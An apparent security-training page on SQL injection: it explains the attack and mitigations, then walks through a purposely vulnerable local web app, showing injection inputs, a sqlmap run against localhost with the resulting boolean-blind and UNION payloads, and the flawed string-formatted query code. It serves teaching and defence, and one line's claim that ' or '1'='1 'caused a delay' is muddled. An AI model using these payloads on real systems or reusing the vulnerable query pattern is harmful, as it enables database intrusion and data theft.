
SQL Injection (SQLi)
SQL Injection (SQLi) is a security vulnerability that allows an attacker to interfere with the SQL queries that an application sends to its database. By injecting malicious SQL statements into application inputs, an attacker can read, modify, or delete data, bypass authentication, or conduct other unauthorized operations on the database.
How SQL Injection Works
- Identify Vulnerable Inputs: The attacker locates inputs in the application that are included in SQL queries without proper validation or parameterization.
- Inject Malicious SQL: The attacker provides specially crafted SQL syntax as input to alter the intended database query.
- Query Execution: If the application does not properly validate or parameterize user input, the database executes the modified SQL query.
SQL Injection Impact
- Authentication Bypass: Attackers can log in without valid credentials.
- Data Disclosure: Sensitive information stored in the database can be read.
- Data Modification: Records in the database can be inserted, updated, or deleted.
- Administrative Actions: Unauthorized operations can be performed if the database account used by the application has sufficient privileges.
- System Compromise: In some cases, SQL injection can be exploited to execute operating system commands or gain further control over the underlying server.
SQL Injection Mitigation
- Use Parameterized Queries (Prepared Statements): Separate SQL code from user input to prevent injections.
- Validate User Input: Accept only expected input formats and reject invalid data.
- Apply the Principle of Least Privilege: Restrict database account permissions to only what is necessary.
- Avoid Dynamic SQL: Do not build SQL statements by concatenating user input.
- Keep Software Updated: Regularly patch database servers, frameworks, and libraries to address known vulnerabilities.
- Monitor and Log Database Activity: Track unusual queries or suspicious behavior that may indicate SQL injection attempts.
SQL Injection Mitigation Example
Clone this current repo recursively
git clone --recurse-submodules https://github.com/qeeqbox/sql-injection
Run the webapp using Python
python3 sql-injection/vulnerable-web-app/webapp.py
Open the webapp in your browser 127.0.0.1:5142

One of the routes in the web app is /user that takes an id as a parameter, it returns info about the requested user in JSON format

If you enter ', you will get: unrecognized token: "'''", which is an error indicating the user's route interacts with a database

The payload was executed successfully and caused a delay ' or '1'='1

user@users-Mac-mini vulnerable-web-app % sqlmap -u "http://127.0.0.1:5142/user?id=1" -p id --dbms=sqlite --batch
___
__H__
___ ___["]_____ ___ ___ {1.9.7#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:39:38 /2025-07-26/
[13:39:38] [INFO] testing connection to the target URL
[13:39:38] [WARNING] turning off pre-connect mechanism because of incompatible server ('BaseHTTP/0.6 Python/3.13.5')
[13:39:38] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:39:38] [INFO] testing if the target URL content is stable
[13:39:39] [INFO] target URL content is stable
[13:39:39] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[13:39:39] [INFO] testing for SQL injection on GET parameter 'id'
[13:39:39] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:39:39] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[13:39:39] [INFO] testing 'Generic inline queries'
[13:39:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:39:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:39:39] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:39:39] [INFO] target URL appears to have 7 columns in query
[13:39:39] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 1533=1533 AND 'rZkz'='rZkz
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-6078' UNION ALL SELECT NULL,NULL,CHAR(113,120,98,113,113)||CHAR(98,89,100,100,105,70,90,116,73,114,112,70,101,121,79,80,73,86,73,76,79,67,119,108,102,106,109,66,90,77,120,112,103,99,87,103,79,113,99,79)||CHAR(113,120,118,107,113),NULL,NULL,NULL,NULL-- OsvX
---
[13:39:39] [INFO] testing SQLite
[13:39:39] [INFO] confirming SQLite
[13:39:39] [INFO] actively fingerprinting SQLite
[13:39:39] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[13:39:39] [INFO] fetched data logged to text files under '/Users/user/.local/share/sqlmap/output/127.0.0.1'
[*] ending @ 13:39:39 /2025-07-26/
Code
When you request info about user using an known id, the get_user is called
elif parsed_url.path == '/user' and "id" in get_request_data:
self.send_content_raw(200, [('Content-type', 'application/json')], self.get_user(get_request_data["id"][0]))
return
The get_user() function returns info about a user using their id without checking if the id is sanitized
def get_user(self,id_=None):
ret = b""
try:
if id_ != None:
with connect(DATABASE, isolation_level=None, check_same_thread=False) as connection:
cursor = connection.cursor()
results = cursor.execute("SELECT * FROM users WHERE id='%s'" % (id_)).fetchone()
return dumps(results).encode('utf-8')
except Exception as e:
ret = str(e).encode("utf-8")
return ret